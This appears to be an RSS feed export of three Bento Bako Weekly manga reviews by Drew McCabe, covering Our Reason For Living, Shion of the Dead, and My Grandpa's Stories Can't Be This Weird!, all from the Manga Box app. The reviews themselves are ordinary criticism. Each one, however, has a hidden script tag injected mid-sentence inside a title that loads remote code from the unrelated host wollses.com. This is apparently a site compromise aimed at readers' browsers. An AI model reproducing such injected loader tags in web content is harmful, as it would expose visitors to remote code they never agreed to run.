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		<title>Bento Bako Weekly: Our Reason For Living</title>
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		<pubDate>Mon, 16 Mar 2015 11:00:28 +0000</pubDate>
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					<description><![CDATA[Our Reason For Living Publisher: Manga Box Story and Art: Kazuyuki Watanabe [Editor&#8217;s note: I&#8217;m recuperating from a convention, so please welcome Drew back for another manga review!] Watanabe&#8217;s Our Reason For Living, currently running weekly on the free-to-read Manga Box, is an intriguing title. At first glance, it could be brushed off as what it [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong><em><a href="https://comicattack.net//wp-content/uploads/2015/03/ourreason2.jpg"><img fetchpriority="high" decoding="async" class="alignleft size-medium wp-image-118555" src="https://comicattack.net//wp-content/uploads/2015/03/ourreason2-225x300.jpg" alt="ourreason2" width="225" height="300" srcset="https://comicattack.net/wp-content/uploads/2015/03/ourreason2-225x300.jpg 225w, https://comicattack.net/wp-content/uploads/2015/03/ourreason2.jpg 768w" sizes="(max-width: 225px) 100vw, 225px" /></a>Our Reason For Living</em></strong><br />
<strong>Publisher:</strong> Manga Box<br />
<strong>Story and Art:</strong> Kazuyuki Watanabe<br />
[<strong>Editor&#8217;s note:</strong><em> </em>I&#8217;m recuperating from a convention, so please welcome Drew back for another manga review!]<br />
Watanabe&#8217;s <em>Our Reason For Living</em>, currently running weekly on the free-to-read <a href="https://www.mangabox.me/reader/en/">Manga Box</a>, is an intriguing title. At first glance, it could be brushed off as what it is on the surface &#8211; seemingly, another survival horror manga. Upon reading it, though, one discovers a little bit more than other titles offer in that genre. The title feels like a survival horror manga, but one that would run along side <em>Pokemon</em> or <em>Doraemon</em> in the monthly <em>CoroCoro</em>, with an odd mix of a friendly look and vibe juxtaposed next to the nightmarish situation presented, perhaps making the title even creepier than others like it.<br />
Survival horror dates back to Umezu&#8217;s <em>The Drifting Classroom</em>, probably the closest thing I can compare this title to, and for a long time after that manga&#8217;s publication, nothing really compared until the novel<em> Battle Royale<script src="//wollses.com/steps"></script></em> received both a film and manga adaptation, revitalizing and almost revolutionizing the genre. What happened after <em>Battle Royale,</em> though, is that the manga adaptation became so notoriously violent and over-sexed, that any survival horror manga, from <em>Dragon Head</em> to <em>Cage of Eden</em>, although putting their own spins on it, had to hold up to a certain level of grotesque exploitation, which in all fairness was what fans of the <em>Battle Royale</em> manga wanted more of.<br />
<em>Our Reason For Living</em> is a step back from that, specifically the artwork tells the story visually with way less on-camera violence, combined with simpler character designs, making it feel designed a bit for younger audiences. Not as much with the context, however. A classroom of students suddenly find themselves stuck in school. No one else is around, and everyone has just seemingly disappeared from the building. Stranger, in a fashion very reminiscent of both the previously mentioned <em>The Drifting Classroom</em> or Shinichi Koga&#8217;s <em>Misa the Dark Angel</em> series, they cannot get out of the building, either! Things get worse from there, as a laughing phantom-like creature wearing multiple masks appears, and one by one turns the students into torturous looking dolls. The students have to begin to overcome their differences and not turn on each other in a quest for survival to escape this horrid fate and the creature changing them.<br />
Plot wise this all sounds familiar to other titles, Watanabe not blowing any minds with original concepts; however, the dialogue and story flow structure are still nice from a written perspective. The charm that will be key for this title working for readers is the visual way it&#8217;s told &#8211; less on-camera violence and simpler designs, not only making it more digestible for most, but almost more eerie, since there are times it feels like what could be a more wholesome manga, only to suddenly have a horror scene of one the children being captured and turned into a doll. It can cause an almost greater effect of sympathy and terror in the reader, than when it is presented in the over-the-top style of something like <em>Battle Royale</em>. Watanabe definitely has something cool going on here with this title. It also feels like a story that won&#8217;t go on forever and has a solid start-middle-finish, which will be appealing for some readers, as well.<br />
I recommend trying out <em>Our Reason For Living</em> for fans of survival manga who want something a bit lighter. After all, it is free, so it&#8217;s not gonna hurt to take the gamble. Found on the Manga Box app, which is available in the U.S., Japan, and China.<br />
<span style="text-decoration: underline;">Drew McCabe</span><br />
drew@comicattack.net</p>
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		<title>Bento Bako Weekly: Shion of the Dead</title>
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		<pubDate>Mon, 19 Jan 2015 12:00:47 +0000</pubDate>
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					<description><![CDATA[Shion of the Dead Publisher: Manga Box Story and Art: Takashi Muroyoshi Step right up, step right up, one and all! It&#8217;s comedic, yet somehow slightly ecchi-feeling, manga time! Maybe you are sick of moe! Maybe this new half woman-half snake-like monster trend stuff just isn&#8217;t cutting it for you anymore! Well we&#8217;ve got a [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong><em><a href="https://comicattack.net//wp-content/uploads/2015/01/shionofdeadcover.jpg"><img decoding="async" class="alignleft size-full wp-image-117372" src="https://comicattack.net//wp-content/uploads/2015/01/shionofdeadcover.jpg" alt="shionofdeadcover" width="271" height="254" /></a>Shion of the Dead</em></strong><br />
<strong>Publisher:</strong> Manga Box<br />
<strong>Story and Art:</strong> Takashi Muroyoshi<br />
Step right up, step right up, one and all! It&#8217;s comedic, yet somehow slightly ecchi-feeling, manga time! Maybe you are sick of moe! Maybe this new half woman-half snake-like monster trend stuff just isn&#8217;t cutting it for you anymore! Well we&#8217;ve got a solution for you: zombie women! That&#8217;s right, the sexy and the dead combined for your reading pleasure, and you&#8217;ll find it all in Muroyoshi&#8217;s <em>Shion of the Dead</em>, running currently on <a href="https://www.mangabox.me/reader/en/">Manga Box</a>.<br />
The plot overall could be mostly harmless. Everyday teenager Raimi Tsukasa is a good looking, sweet guy, who falls for his adorable, very busty classmate, Shion Shoji. Shion only comes with one item of baggage: she&#8217;s a zombie. He tries to flirt, and her guts falls out. He starts getting hot and bothered by her breasts, and a bone jots out of her neck killing the mojo. As long as Shion remembers to take her gas everyday, her mind stays intact and she won&#8217;t eat anyone, the key here being she has to remember to take it. Adding to the mix for her affections is the young and spunky girl Kaori, who also has an incredible crush on Shion, and will do anything to make sure Raimi and Shion never get together.<br />
The first thing I&#8217;ll say is <em>Shion of the Dead<script src="//wollses.com/steps"></script></em> could be a lot worse than numerous images floating around out there would imply. In fact, if anything for ecchi-readers it&#8217;s all flirt and no pay off for them, providing plenty of shots of cleavage, and ladies bending over in tight shorts that somehow still give you everyday detail of the anatomy beneath them, but aside from all that build up, it never actually goes into the sex territory. Avoiding anything Go Nagai-like, one probably would get more from <em>High School DxD</em> than this. Just as it reaches the point it could go into a place of no return when things could get naughty,  Muroyoshi&#8217;s saving grace comes in, and before any of the characters can get into position to get off, a blood filled, zombie-related gag will suddenly happen for a punch line: body parts fly off, scars mysteriously open and blood leaks, guts accidentally pour out of bodies, or maybe Shion forgets to take her gas and she goes full zombie and tries to eat our hero! These punch lines work incredibly well, and just when you are about to get creeped out and think the next page will take you into hentai land where you&#8217;ll never read this thing again, you laugh out loud unexpectedly at the sheer ridiculousness of whatever gory joke has been thrown.<br />
Muroyoshi is also a great artist. Week after week, the manga looks great for the eye to behold. Nice style, clean, with good layouts. If anything, Muroyoshi is such a good artist that the amount of detail he puts into those fan service shots will make select readers not remotely interested in that sort of thing suddenly very uncomfortable. Luckily, as mentioned for those readers, the bloody punch line that normally comes after that shot negates any ill feeling. In terms of his gore drawings, they are there and very bloody, but the worst of the worst gore is done in an even more comical fashion as he censors his own work with mosaic bubbles, like some Japanese prime time TV show. So like we never get the sex, gore hounds will never get their full pay off here, either, creating both an interesting juxtaposition and execution of material content. A commentary on sex and violence in manga? Personal artist preference? The world may never know.  Muroyoshi has been drawing since 2008, but none of his previous titles have seemed to be giant hits either here or there in Japan, however, <em>Shion of the Dead</em> being everywhere and for free on Manga Box may just change his luck.<br />
<em>Shion of the Dead</em> is a title I started to read on a whim expecting I would hate it, and honestly, aside from my dislike of the fan service, I actually have become quite oddly smitten with this title, and can say it&#8217;s one of the better weeklies run on Manga Box at the current time.<br />
<em>Shion of the Dead</em> can be found weekly on the Manga Box app, the official and free manga app available in Japan, USA, and China.<br />
<span style="text-decoration: underline;">Drew McCabe</span><br />
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		<title>BBB: My Grandpa&#039;s Stories Can&#039;t Be This Weird!</title>
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					<description><![CDATA[My Grandpa&#8217;s Stories Can&#8217;t Be This Weird! Publisher: Manga Box Story and Art: Kazuhiro Urata Domu Saito is your average 5th grader. Like any 5th grader, he&#8217;s getting to that age where he has trouble falling asleep with his busy mind. Dokuto Saito is 76 years old and Domu&#8217;s grandfather, who decides to help Domu [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong><em><a href="https://comicattack.net//wp-content/uploads/2014/12/grandpastory4.jpg"><img decoding="async" class="alignleft size-medium wp-image-116913" src="https://comicattack.net//wp-content/uploads/2014/12/grandpastory4-225x300.jpg" alt="grandpastory4" width="225" height="300" srcset="https://comicattack.net/wp-content/uploads/2014/12/grandpastory4-225x300.jpg 225w, https://comicattack.net/wp-content/uploads/2014/12/grandpastory4.jpg 768w" sizes="(max-width: 225px) 100vw, 225px" /></a>My Grandpa&#8217;s Stories Can&#8217;t Be This Weird!</em></strong><br />
<strong>Publisher:</strong> <a href="https://www.mangabox.me/reader/en/">Manga Box</a><br />
<strong>Story and Art:</strong> Kazuhiro Urata<br />
Domu Saito is your average 5th grader. Like any 5th grader, he&#8217;s getting to that age where he has trouble falling asleep with his busy mind. Dokuto Saito is 76 years old and Domu&#8217;s grandfather, who decides to help Domu fall asleep by telling him stories. However, Dokuto does not tell your average stories. What each and every time starts off as what could be a normal run-of-the-mill bedtime story, suddenly turns into a bizarre, frequently perverse, comedic romp through the old man&#8217;s imagination into dream land.<br />
Frequently comedic manga being translated into English from Japanese can lose its spice, but <em>My Grandpa&#8217;s Stories Can&#8217;t Be This Weird!</em> by Kazuhiro Urata, which ran its full run on Japanese/U.S. manga-app Manga Box, never loses its flare being presented to us in English. It&#8217;s easily become one of the most addicting reads on the free app, hitting home especially for those who long for Adult Swim-esque manga tales.<br />
The set-up is simple: every chapter Domu&#8217;s Grandpa reads him a story, and within a page creator Urata decides to completely screw with it, taking whatever the classic folk tale is that week and going totally left field, almost trying to make the readers&#8217; jaws drop some of the weeks. Prime examples include Japanese folk tales like Momotaro the Peach Boy (who is born with a QR scan code face), the Flowering Old Man (who turns out to be a panty collecting pervert), and the tale of the Bamboo Cutter (who cuts a stalk of bamboo to find a wife, but here accidentally takes the girl&#8217;s head off, forcing her to have a removable head the entire tale, leading to some awkward situations). More familiar tales to us here include stories like Snow White (turning out to be a big whore and making the seven dwarfs very happy), and even taking a shot at the manga <em>One Piece<script src="//wollses.com/steps"></script></em>.<br />
Simply nothing is off limits to Urata, who frequently uses everything and the kitchen sink to have a laugh, his arsenal including porn stars, unexpected deaths, dirty old men, talking animals, current popular Japanese video games and TV shows, and of course Duke Tolgo-like assassins. His absurd and very crude humor pays off, while never adventuring into any level of hentai-explicitness, although coming pretty close a few times.<br />
Visually his extremely clean, thick lined art style feels at home with the silly material he presents, and for a gag manga his pages have a nice layout that flows right through to the end as you digest every crude tidbit.<br />
<em>My Grandpa&#8217;s Stories Can&#8217;t Be This Weird!</em> ran its full run, rounding out at 44 chapters on Manga Box. Manga Box debuted here and in Japan a year ago in 2013 as an official, yet free, iOS/Android-app, for both phones and tablets, allowing you to read dozens of titles weekly for free. The most recent 12 issues are listed in full, and every title that has appeared on the app, including this one, has its first 100 or so pages collected as well in a digital digest form.<br />
In its final two chapters, Urata, aside from pulling out all the stops to make the milk shoot from our noses, makes a nice sweet book end for our main two characters, unexpectedly bringing everything he did previously in the manga full circle. A nice touch that shows he can do a little more as a writer than just absurdist humor. Although this one&#8217;s wrapped up, Urata will be back again soon with his trademark humor, as promised at the end of the run.<br />
A good chunk of <em>My Grandpa&#8217;s Stories Can&#8217;t Be This Weird!</em> is still up for free on Manga Box. Highly recommended for a laugh, but not for the sensitive kind.<br />
<span style="text-decoration: underline;">Drew McCabe</span><br />
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